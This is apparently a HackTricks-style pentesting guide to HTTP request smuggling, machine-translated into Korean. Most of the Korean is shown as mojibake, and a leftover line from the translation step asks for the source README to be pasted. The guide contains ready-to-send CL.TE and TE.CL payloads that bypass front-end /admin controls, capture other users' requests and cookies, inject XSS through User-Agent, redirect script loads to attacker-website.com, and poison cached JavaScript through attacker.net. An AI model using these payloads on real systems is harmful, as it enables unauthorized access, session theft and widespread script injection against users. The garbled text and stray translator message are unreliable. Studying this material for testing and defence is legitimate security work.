- Consistent URL and Parameters: ๊ฐ๋ฅํ ํ ๋ ์์ฒญ์ ๋ํด ๋์ผํ URL ๋ฐ ํ๋ผ๋ฏธํฐ ์ด๋ฆ์ ์ฌ์ฉํ์ธ์. ํ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ URL ๋ฐ ํ๋ผ๋ฏธํฐ์ ๋ฐ๋ผ ํน์ ๋ฐฑ์๋ ์๋ฒ๋ก ์์ฒญ์ ๋ผ์ฐํ ํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค. ์ด๋ฅผ ์ผ์น์ํค๋ฉด ๋ ์์ฒญ์ด ๋์ผํ ์๋ฒ์์ ์ฒ๋ฆฌ๋ ๊ฐ๋ฅ์ฑ์ด ๋์์ง๋ฉฐ, ์ด๋ ์ฑ๊ณต์ ์ธ ๊ณต๊ฒฉ์ ์ํด ํ์ํฉ๋๋ค.
- Timing and Racing Conditions: โnormalโ ์์ฒญ(๊ณต๊ฒฉ ์์ฒญ์ ๊ฐ์ญ์ ๊ฐ์งํ๊ธฐ ์ํ)์ ๋ค๋ฅธ ๋์ ์ ํ๋ฆฌ์ผ์ด์ ์์ฒญ๋ค๊ณผ ๊ฒฝ์ํฉ๋๋ค. ๋ฐ๋ผ์ โattackโ ์์ฒญ ์งํ ์ฆ์ โnormalโ ์์ฒญ์ ์ ์กํ์ธ์. ๋ฐ์ ์ ํ๋ฆฌ์ผ์ด์ ์์๋ ๊ฒฐ๋ก ์ ๋ด๊ธฐ ์ํด ์ฌ๋ฌ ์ฐจ๋ก ์๋๊ฐ ํ์ํ ์ ์์ต๋๋ค.
- Load Balancing Challenges: ํ๋ก ํธ์๋ ์๋ฒ๊ฐ ๋ก๋ ๋ฐธ๋ฐ์๋ก ๋์ํ๋ฉด ์์ฒญ์ ์ฌ๋ฌ ๋ฐฑ์๋ ์์คํ ์ ๋ถ์ฐ์ํฌ ์ ์์ต๋๋ค. โattackโ ์์ฒญ๊ณผ โnormalโ ์์ฒญ์ด ์๋ก ๋ค๋ฅธ ์์คํ ์ ๋์ฐฉํ๋ฉด ๊ณต๊ฒฉ์ ์ฑ๊ณตํ์ง ๋ชปํฉ๋๋ค. ์ด ๋ก๋ ๋ฐธ๋ฐ์ฑ ํน์ฑ ๋๋ฌธ์ ์ทจ์ฝ์ ์ ํ์ธํ๋ ค๋ฉด ์ฌ๋ฌ ์ฐจ๋ก ์๋๊ฐ ํ์ํ ์ ์์ต๋๋ค.
- Unintended User Impact: ๊ณต๊ฒฉ์ด ์๋์น ์๊ฒ ๋ค๋ฅธ ์ฌ์ฉ์์ ์์ฒญ(๋น์ ์ด ํ์ง์ฉ์ผ๋ก ๋ณด๋ธ โnormalโ ์์ฒญ์ด ์๋)์ ์ํฅ์ ๋ฏธ์ณค๋ค๋ฉด, ์ด๋ ๋น์ ์ ๊ณต๊ฒฉ์ด ๋ค๋ฅธ ์ ํ๋ฆฌ์ผ์ด์ ์ฌ์ฉ์๋ฅผ ์ํฅํ๋ค๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค. ์ง์์ ์ธ ํ ์คํธ๋ ๋ค๋ฅธ ์ฌ์ฉ์๋ฅผ ๋ฐฉํดํ ์ ์์ผ๋ฏ๋ก ์ฃผ์๊ฐ ํ์ํฉ๋๋ค.
HTTP/1.1 pipelining ์ํฐํฉํธ์ genuine request smuggling ๊ตฌ๋ถํ๊ธฐ
Connection reuse (keep-alive)์ pipelining์ ๋์ผํ ์์ผ์์ ์ฌ๋ฌ ์์ฒญ์ ์ ์กํ๋ ํ
์คํธ ๋๊ตฌ์์ ์ฝ๊ฒ โsmugglingโ์ ํ์์ ๋ง๋ค ์ ์์ต๋๋ค. ๋ฌดํดํ ํด๋ผ์ด์ธํธ ์ธก ์ํฐํฉํธ์ ์ค์ ์๋ฒ ์ธก desync๋ฅผ ๊ตฌ๋ถํ๋ ๋ฒ์ ์ตํ์ธ์.
์ pipelining์ด ๊ณ ์ ์ ์ธ false positive๋ฅผ ๋ง๋๋๊ฐ
HTTP/1.1์ ๋จ์ผ TCP/TLS ์ฐ๊ฒฐ์ ์ฌ์ฌ์ฉํ๊ณ ๋์ผํ ์คํธ๋ฆผ์์ ์์ฒญ๊ณผ ์๋ต์ ์ฐ๊ฒฐํฉ๋๋ค. pipelining์์๋ ํด๋ผ์ด์ธํธ๊ฐ ์ฌ๋ฌ ์์ฒญ์ ์ฐ์์ผ๋ก ์ ์กํ๊ณ ์์๋๋ก ์๋ต์ ๋ฐ๊ธฐ๋ฅผ ๊ธฐ๋ํฉ๋๋ค. ์ผ๋ฐ์ ์ธ false-positive ์ฌ๋ก๋ ๋จ์ผ ์ฐ๊ฒฐ์์ ์๋ชป๋ CL.0-style ํ์ด๋ก๋๋ฅผ ๋ ๋ฒ ์ฌ์ ์กํ๋ ๊ฒ์ ๋๋ค:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
์๋ณธ ํ์ผ(src/pentesting-web/http-request-smuggling/README.md)์ ๋ด์ฉ์ ์ฌ๊ธฐ์ ๋ถ์ฌ๋ฃ์ด ์ฃผ์ธ์. ๋ถ์ฌ๋ฃ์ด ์ฃผ์๋ฉด ์์ฒญํ์ ๊ท์น(์ฝ๋ยท๊ธฐ์ ๋ช ยทํ๊ทธยท๋งํฌยท๊ฒฝ๋ก ๋ฏธ๋ฒ์ญ ๋ฑ)์ ์ง์ผ ์ ํํ๊ฒ ํ๊ตญ์ด๋ก ๋ฒ์ญํด ๋๋ฆฌ๊ฒ ์ต๋๋ค.
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
๋ง์ฝ server๊ฐ ์๋ชป๋ Content_Length๋ฅผ ๋ฌด์ํ๋ค๋ฉด, FEโBE desync๋ ๋ฐ์ํ์ง ์๋๋ค. reuse ์, ๋น์ ์ client๋ ์ค์ ๋ก ๋ค์๊ณผ ๊ฐ์ byte-stream์ ๋ณด๋๊ณ , server๋ ์ด๋ฅผ ๋ ๊ฐ์ ๋
๋ฆฝ๋ requests๋ก ํ์ฑํ๋ค:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Impact: none. You just desynced your client from the server framing.
Tip
Burp modules that depend on reuse/pipelining: Turbo Intruder with
requestsPerConnection>1, Intruder with โHTTP/1 connection reuseโ, Repeater โSend group in sequence (single connection)โ or โEnable connection reuseโ.
Litmus tests: pipelining or real desync?
- Disable reuse and re-test
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid โSend group in sequenceโ.
- In Turbo Intruder, set
requestsPerConnection=1andpipeline=False. - If the behavior disappears, it was likely client-side pipelining, unless youโre dealing with connection-locked/stateful targets or client-side desync.
- HTTP/2 nested-response check
- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, youโve proven a backend parsing/desync bug instead of a pure client artifact.
- Partial-requests probe for connection-locked front-ends
- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
- See PortSwigger โBrowserโPowered Desync Attacksโ for the connection-locked technique.
- State probes
- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
- Burp โHTTP Request Smugglerโ includes a connectionโstate probe that automates this.
- Visualize the wire
- Use the Burp โHTTP Hackerโ extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
Connectionโlocked request smuggling (reuse-required)
Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
- Prove the server-side bug
- Use the HTTP/2 nested-response check, or
- Use partial-requests to show the FE only reuses upstream when the client does.
- Show real impact even if direct cross-user socket abuse is blocked:
- Cache poisoning: poison shared caches via the desync so responses affect other users.
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
- Operator workflow
- Reproduce with controlled reuse (Turbo Intruder
requestsPerConnection=2, or Burp Repeater tab group โ โSend group in sequence (single connection)โ). - Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
See also connectionโstate attacks, which are closely related but not technically smuggling:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Clientโside desync constraints
If youโre targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks wonโt work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
For background and end-to-end workflows:
Browser HTTP Request Smuggling
Tooling to help decide
- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
- โSmuggling or pipelining?โ Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: precise control over connection reuse via
requestsPerConnection. - Burp HTTP Request Smuggler: includes a connectionโstate probe to spot firstโrequest routing/validation.
Note
Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
Abusing HTTP Request Smuggling
Circumventing Front-End Security via HTTP Request Smuggling
Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing /admin might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the /admin path which is typically guarded by the front-end proxy:
CL.TE Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
CL.TE attack์์๋ ์ด๊ธฐ ์์ฒญ์ Content-Length ํค๋๊ฐ ์ฌ์ฉ๋๊ณ , ์ดํ ํฌํจ๋ ์์ฒญ์ Transfer-Encoding: chunked ํค๋๋ฅผ ์ฌ์ฉํฉ๋๋ค. front-end proxy๋ ์ด๊ธฐ POST ์์ฒญ์ ์ฒ๋ฆฌํ์ง๋ง ํฌํจ๋ GET /admin ์์ฒญ์ ๊ฒ์ฌํ์ง ๋ชปํด /admin ๊ฒฝ๋ก์ ๋ํ ๋ฌด๋จ ์ ๊ทผ์ ํ์ฉํฉ๋๋ค.
TE.CL Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
๋ฐ๋๋ก, TE.CL ๊ณต๊ฒฉ์์๋ ์ด๊ธฐ POST ์์ฒญ์ด Transfer-Encoding: chunked๋ฅผ ์ฌ์ฉํ๊ณ , ๊ทธ์ ์ด์ด ํฌํจ๋ ์์ฒญ์ Content-Length ํค๋๋ฅผ ๊ธฐ์ค์ผ๋ก ์ฒ๋ฆฌ๋๋ค. CL.TE ๊ณต๊ฒฉ๊ณผ ์ ์ฌํ๊ฒ, ํ๋ฐํธ์๋ ํ๋ก์(front-end proxy)๋ ๋ชฐ๋ ์ ์ก๋ GET /admin ์์ฒญ์ ๊ฐ๊ณผํ์ฌ ์ ํ๋ /admin ๊ฒฝ๋ก์ ์๋์น ์๊ฒ ์ ๊ทผ์ ํ์ฉํ๋ค.
ํ๋ฐํธ์๋์ ์์ฒญ ์ฌ์์ฑ ํ์ธ
์ ํ๋ฆฌ์ผ์ด์
์ ์ข
์ข
๋ฐฑ์๋ ์๋ฒ๋ก ์ ๋ฌํ๊ธฐ ์ ์ ๋ค์ด์ค๋ ์์ฒญ์ ์์ ํ๊ธฐ ์ํด front-end server๋ฅผ ์ฌ์ฉํ๋ค. ์ผ๋ฐ์ ์ธ ์์ ์๋ก๋ ํด๋ผ์ด์ธํธ์ IP๋ฅผ ๋ฐฑ์๋๋ก ์ ๋ฌํ๊ธฐ ์ํด X-Forwarded-For: <IP of the client> ๊ฐ์ ํค๋๋ฅผ ์ถ๊ฐํ๋ ๊ฒ์ด ์๋ค. ์ด๋ฌํ ์์ ๋ฐฉ์์ ์ดํดํ๋ ๊ฒ์ ์ค์ํ ์ ์์ผ๋ฉฐ, ์ด๋ ๋ณดํธ ์ฅ์น๋ฅผ ์ฐํ(bypass protections) ํ๊ฑฐ๋ ์จ๊ฒจ์ง ์ ๋ณด๋ ์๋ํฌ์ธํธ๋ฅผ ๋ฐ๊ฒฌ(uncover concealed information or endpoints) ํ๋ ๋ฐฉ๋ฒ์ ๋๋ฌ๋ผ ์ ์๋ค.
ํ๋ก์๊ฐ ์์ฒญ์ ์ด๋ป๊ฒ ๋ณ๊ฒฝํ๋์ง ์กฐ์ฌํ๋ ค๋ฉด, ๋ฐฑ์๋๊ฐ ์๋ต์์ ์์ฝํ๋ POST ํ๋ผ๋ฏธํฐ๋ฅผ ์ฐพ์ผ๋ผ. ๊ทธ๋ฐ ๋ค์ ์ด ํ๋ผ๋ฏธํฐ๋ฅผ ๋ง์ง๋ง์ ๋๊ณ ๋ค์๊ณผ ์ ์ฌํ ์์ฒญ์ ๋ง๋ค์ด๋ผ:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
์ด ๊ตฌ์กฐ์์๋ ํ์ ์์ฒญ ๊ตฌ์ฑ ์์๊ฐ search= ๋ค์ ์ด์ด ๋ถ์ฌ์ง๋ฉฐ, ์ด ํ๋ผ๋ฏธํฐ๊ฐ ์๋ต์ ๋ฐ์๋ฉ๋๋ค. ์ด ๋ฐ์์ผ๋ก ์ธํด ํ์ ์์ฒญ์ ํค๋๊ฐ ๋
ธ์ถ๋ฉ๋๋ค.
์ค์ฒฉ๋ ์์ฒญ์ Content-Length ํค๋๋ฅผ ์ค์ ์ฝํ
์ธ ๊ธธ์ด์ ๋ง์ถ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค. ์์ ๊ฐ์์ ์์ํด ์กฐ๊ธ์ฉ ์ฆ๊ฐ์ํค๋ ๊ฒ์ด ๋ฐ๋์งํฉ๋๋ค. ๊ฐ์ด ๋๋ฌด ์์ผ๋ฉด ๋ฐ์๋ ๋ฐ์ดํฐ๊ฐ ์๋ฆฌ๊ฒ ๋๊ณ , ๋๋ฌด ํฌ๋ฉด ์์ฒญ์ด ์๋ฌ๋ฅผ ๋ฐ์์ํฌ ์ ์์ต๋๋ค.
์ด ๊ธฐ๋ฒ์ TE.CL ์ทจ์ฝ์ ์ํฉ์์๋ ์ ์ฉํ ์ ์์ง๋ง, ์์ฒญ์ search=\r\n0์ผ๋ก ์ข
๋ฃ๋์ด์ผ ํฉ๋๋ค. ๊ฐํ ๋ฌธ์์ ๊ด๊ณ์์ด ๊ฐ๋ค์ search ํ๋ผ๋ฏธํฐ์ ์ถ๊ฐ๋ฉ๋๋ค.
์ด ๋ฐฉ๋ฒ์ ์ฃผ๋ก front-end proxy๊ฐ ์์ฒญ์ ์ด๋ป๊ฒ ์์ ํ๋์ง ์ดํดํ๋ ๋ฐ ์ฌ์ฉ๋๋ฉฐ, ์ฌ์ค์ ์์ฒด์ ์ธ ์กฐ์ฌ(self-directed investigation)๋ฅผ ์ํํ๋ ๊ฒ์ ๋๋ค.
๋ค๋ฅธ ์ฌ์ฉ์์ ์์ฒญ ์บก์ฒํ๊ธฐ
POST ๋์ ์ค ํ๋ผ๋ฏธํฐ์ ๊ฐ์ผ๋ก ํน์ ์์ฒญ์ ์ถ๊ฐํ๋ฉด ๋ค์ ์ฌ์ฉ์์ ์์ฒญ์ ์บก์ฒํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค. ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
๋ค์ ์์ฒญ์ ํ๋ผ๋ฏธํฐ ๊ฐ์ผ๋ก ์ถ๊ฐํ๋ฉด ์ดํ ํด๋ผ์ด์ธํธ์ ์์ฒญ์ ์ ์ฅํ ์ ์์ต๋๋ค:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
์ด ์๋๋ฆฌ์ค์์ comment parameter๋ ๊ณต๊ฐ์ ์ผ๋ก ์ ๊ทผ ๊ฐ๋ฅํ ํ์ด์ง์ ๊ฒ์๋ฌผ ๋๊ธ ์น์ ๋ด ๋ด์ฉ์ ์ ์ฅํ๋๋ก ์ค๊ณ๋์ด ์์ต๋๋ค. ๋ฐ๋ผ์ ์ดํ ์์ฒญ์ ๋ด์ฉ์ ๋๊ธ๋ก ํ์๋ฉ๋๋ค.
ํ์ง๋ง ์ด ๊ธฐ๋ฒ์๋ ํ๊ณ๊ฐ ์์ต๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ์ค๋จธ๊ธ๋ ์์ฒญ์์ ์ฌ์ฉ๋๋ ํ๋ผ๋ฏธํฐ ๊ตฌ๋ถ์๊น์ง์ ๋ฐ์ดํฐ๋ง ์บก์ฒํฉ๋๋ค. URL-encoded form ์ ์ถ์ ๊ฒฝ์ฐ ์ด ๊ตฌ๋ถ์๋ & ๋ฌธ์์
๋๋ค. ์ฆ, ํผํด์ ์ฌ์ฉ์์ ์์ฒญ์์ ์บก์ฒ๋ ๋ด์ฉ์ ์ฒซ ๋ฒ์งธ &์์ ๋ฉ์ถ๋ฉฐ, ๊ทธ &๊ฐ ์ฟผ๋ฆฌ ๋ฌธ์์ด์ ์ผ๋ถ์ผ ์๋ ์์ต๋๋ค.
์ถ๊ฐ๋ก, ์ด ๋ฐฉ๋ฒ์ TE.CL ์ทจ์ฝ์ ์ด ์๋ ๊ฒฝ์ฐ์๋ ์ ํจํ๋ค๋ ์ ์ ์ฃผ๋ชฉํ ํ์๊ฐ ์์ต๋๋ค. ๊ทธ๋ฐ ๊ฒฝ์ฐ ์์ฒญ์ search=\r\n0์ผ๋ก ์ข
๋ฃ๋์ด์ผ ํฉ๋๋ค. ์ค๋ฐ๊ฟ ๋ฌธ์์ ์๊ด์์ด ๊ฐ๋ค์ search ํ๋ผ๋ฏธํฐ์ ์ถ๊ฐ๋ฉ๋๋ค.
HTTP request smuggling์ ์ฌ์ฉํด Reflected XSS ์ ์ฉํ๊ธฐ
HTTP Request Smuggling์ Reflected XSS์ ์ทจ์ฝํ ์น ํ์ด์ง๋ฅผ ์ ์ฉํ๋ ๋ฐ ํ์ฉ๋ ์ ์์ผ๋ฉฐ, ๋ค์๊ณผ ๊ฐ์ ํฐ ์ฅ์ ์ ์ ๊ณตํฉ๋๋ค:
- ํ๊น ์ฌ์ฉ์์์ ์ํธ์์ฉ์ด ํ์ํ์ง ์์ต๋๋ค.
- HTTP request headers์ ๊ฐ์ด ์ผ๋ฐ์ ์ผ๋ก ๋๋ฌํ ์ ์๋ ์์ฒญ์ ์ผ๋ถ์์ XSS๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค.
์น์ฌ์ดํธ๊ฐ User-Agent ํค๋๋ฅผ ํตํด Reflected XSS์ ์ทจ์ฝํ ์๋๋ฆฌ์ค์์๋, ๋ค์ payload๊ฐ ์ด ์ทจ์ฝ์ ์ ์ฉ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
์ด payload๋ ์ทจ์ฝ์ ์ ๋ค์๊ณผ ๊ฐ์ ๋ฐฉ์์ผ๋ก ์ ์ฉํ๋๋ก ๊ตฌ์ฑ๋์ด ์์ต๋๋ค:
- ์ผ๋ฐ์ ์ธ ๊ฒ์ฒ๋ผ ๋ณด์ด๋
POST์์ฒญ์ ์์ํ๊ณ ,Transfer-Encoding: chunkedํค๋๋ก smuggling์ ์์์ ํ์ํฉ๋๋ค. - ์ด์ด์
0์ ์ ์กํ์ฌ chunked ๋ฉ์์ง ๋ฐ๋์ ๋์ ํ์ํฉ๋๋ค. - ๊ทธ ๋ค์ smuggled๋
GET์์ฒญ์ด ์ฝ์ ๋๋ฉฐ, ์ฌ๊ธฐ์User-Agentํค๋์<script>alert(1)</script>์คํฌ๋ฆฝํธ๊ฐ ์ฃผ์ ๋์ด ์๋ฒ๊ฐ ํด๋น ํ์ ์์ฒญ์ ์ฒ๋ฆฌํ ๋ XSS๋ฅผ ์ ๋ฐํฉ๋๋ค.
User-Agent๋ฅผ smuggling์ผ๋ก ์กฐ์ํจ์ผ๋ก์จ, payload๋ ์ผ๋ฐ์ ์ธ ์์ฒญ ์ ์ฝ์ bypassํ์ฌ ๋นํ์ค์ ์ด์ง๋ง ํจ๊ณผ์ ์ธ ๋ฐฉ์์ผ๋ก Reflected XSS ์ทจ์ฝ์ ์ ์
์ฉํฉ๋๋ค.
HTTP/0.9
Caution
์ฌ์ฉ์ ์ ๋ ฅ์ด **
Content-type**์ดtext/plain๊ฐ์ ์๋ต์ ๋ฐ์๋์ด XSS ์คํ์ด ์ฐจ๋จ๋๋ ๊ฒฝ์ฐ๊ฐ ์์ต๋๋ค. ์๋ฒ๊ฐ HTTP/0.9๋ฅผ ์ง์ํ๋ค๋ฉด ์ด๊ฒ์ bypassํ ์ ์์ต๋๋ค!
HTTP/0.9 ๋ฒ์ ์ 1.0 ์ด์ ๋ฒ์ ์ผ๋ก, GET๋ง ์ฌ์ฉํ๋ฉฐ ์๋ต ์ headers๋ฅผ ํฌํจํ์ง ์๊ณ ๋ฐ๋๋ง ์ ์กํฉ๋๋ค.
In this writeup, ์ด๊ฒ์ request smuggling๊ณผ ์ฌ์ฉ์ ์
๋ ฅ์ ๊ทธ๋๋ก ์๋ตํ๋ vulnerable endpoint๋ฅผ ์
์ฉํด HTTP/0.9 ์์ฒญ์ smuggleํ๋ ๋ฐ ์ฌ์ฉ๋์์ต๋๋ค. ์๋ต์ ๋ฐ์๋ ํ๋ผ๋ฏธํฐ๋ **๊ฐ์ง HTTP/1.1 ์๋ต(ํค๋์ ๋ฐ๋ ํฌํจ)**์ ๋ด๊ณ ์์ด์, ์๋ต์ Content-Type์ด text/html์ธ ์ ํจํ ์คํ ๊ฐ๋ฅํ JS ์ฝ๋๋ฅผ ํฌํจํ๊ฒ ๋ฉ๋๋ค.
On-site Redirects๋ฅผ HTTP Request Smuggling์ผ๋ก ์ ์ฉํ๊ธฐ
์ ํ๋ฆฌ์ผ์ด์
์ ์ข
์ข
๋ฆฌ๋ค์ด๋ ํธ URL์ Host ํค๋์ ํธ์คํธ๋ช
์ ์ฌ์ฉํด ํ URL์์ ๋ค๋ฅธ URL๋ก ๋ฆฌ๋ค์ด๋ ํธํฉ๋๋ค. ์ด๋ Apache๋ IIS ๊ฐ์ ์น์๋ฒ์์ ํํฉ๋๋ค. ์๋ฅผ ๋ค์ด, ํด๋ ์์ฒญ ์ ๋์ ์ฌ๋์๊ฐ ์์ผ๋ฉด ์ฌ๋์๋ฅผ ํฌํจํ๋๋ก ๋ฆฌ๋ค์ด๋ ํธ๋ฉ๋๋ค:
GET /home HTTP/1.1
Host: normal-website.com
๊ฒฐ๊ณผ:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
๊ฒ๋ณด๊ธฐ์๋ ๋ฌดํดํด ๋ณด์ด์ง๋ง, ์ด ๋์์ HTTP request smuggling์ ์ฌ์ฉํด ์ฌ์ฉ์๋ฅผ ์ธ๋ถ ์ฌ์ดํธ๋ก ๋ฆฌ๋๋ ์ ํ๋๋ก ์กฐ์๋ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
์ด smuggled request๋ ๋ค์์ ์ฒ๋ฆฌ๋๋ ์ฌ์ฉ์ ์์ฒญ์ attacker-controlled website๋ก ๋ฆฌ๋๋ ์ ์ํฌ ์ ์์ต๋๋ค:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
๊ฒฐ๊ณผ:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
์ด ์๋๋ฆฌ์ค์์๋ ์ฌ์ฉ์์ JavaScript ํ์ผ ์์ฒญ์ด ๊ฐ๋ก์ฑ์ง๋๋ค. ๊ณต๊ฒฉ์๋ ์๋ต์ผ๋ก ์ ์ฑ JavaScript๋ฅผ ์ ๊ณตํด ์ฌ์ฉ์๋ฅผ ์นจํดํ ์ ์์ต๋๋ค.
Exploiting Web Cache Poisoning via HTTP Request Smuggling
Web cache poisoning์ ์ฑ๋ฅ ํฅ์์ ์ํด front-end infrastructure๊ฐ ์ฝํ ์ธ ๋ฅผ ์บ์ํ๋ ๊ฒฝ์ฐ ์คํ๋ ์ ์์ต๋๋ค. ์๋ฒ์ ์๋ต์ ์กฐ์ํจ์ผ๋ก์จ poison the cacheํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค.
์์ ์๋ฒ ์๋ต์ ์กฐ์ํด 404 ์ค๋ฅ๋ฅผ ๋ฐํํ๋๋ก ๋ง๋๋ ๋ฐฉ๋ฒ์ ์ดํด๋ณด์์ต๋๋ค(์ฐธ์กฐ: Basic Examples). ์ ์ฌํ๊ฒ, ์๋ฒ๋ฅผ ์์ฌ /static/include.js ์์ฒญ์ ๋ํด /index.html ๋ด์ฉ์ ๋ฐํํ๊ฒ ๋ง๋ค ์ ์์ต๋๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก /static/include.js์ ๋ด์ฉ์ด ์บ์์์ /index.html์ ๋ด์ฉ์ผ๋ก ๋์ฒด๋์ด /static/include.js์ ์ ๊ทผํ๋ ์ฌ์ฉ์๊ฐ ์ํฅ์ ๋ฐ์ ์ ์ฌ์ ์ผ๋ก Denial of Service (DoS)๊ฐ ๋ฐ์ํ ์ ์์ต๋๋ค.
์ด ๊ธฐ๋ฒ์ Open Redirect vulnerability๊ฐ ๋ฐ๊ฒฌ๋์๊ฑฐ๋ on-site redirect to an open redirect๊ฐ ์กด์ฌํ๋ ๊ฒฝ์ฐ ํนํ ๊ฐ๋ ฅํด์ง๋๋ค. ์ด๋ฌํ ์ทจ์ฝ์ ์ ์ด์ฉํ๋ฉด ์บ์๋ /static/include.js ๋ด์ฉ์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์คํฌ๋ฆฝํธ๋ก ๊ต์ฒดํ ์ ์์ผ๋ฉฐ, ์ด๋ /static/include.js๋ฅผ ์์ฒญํ๋ ๋ชจ๋ ํด๋ผ์ด์ธํธ์ ๋ํด ๊ด๋ฒ์ํ Cross-Site Scripting (XSS) ๊ณต๊ฒฉ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
์๋๋ cache poisoning combined with an on-site redirect to open redirect๋ฅผ ์ด์ฉํ ์
์ฉ ์์์
๋๋ค. ๋ชฉํ๋ /static/include.js์ ์บ์ ๋ด์ฉ์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ JavaScript ์ฝ๋๋ก ๋ณ๊ฒฝํ๋ ๊ฒ์
๋๋ค:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Note the embedded request targeting /post/next?postId=3. This request will be redirected to /post?postId=4, utilizing the Host header value to determine the domain. By altering the Host header, the attacker can redirect the request to their domain (on-site redirect to open redirect).
After successful socket poisoning, a GET request for /static/include.js should be initiated. This request will be contaminated by the prior on-site redirect to open redirect request and fetch the content of the script controlled by the attacker.
Subsequently, any request for /static/include.js will serve the cached content of the attackerโs script, effectively launching a broad XSS attack.
Using HTTP request smuggling to perform web cache deception
What is the difference between web cache poisoning and web cache deception?
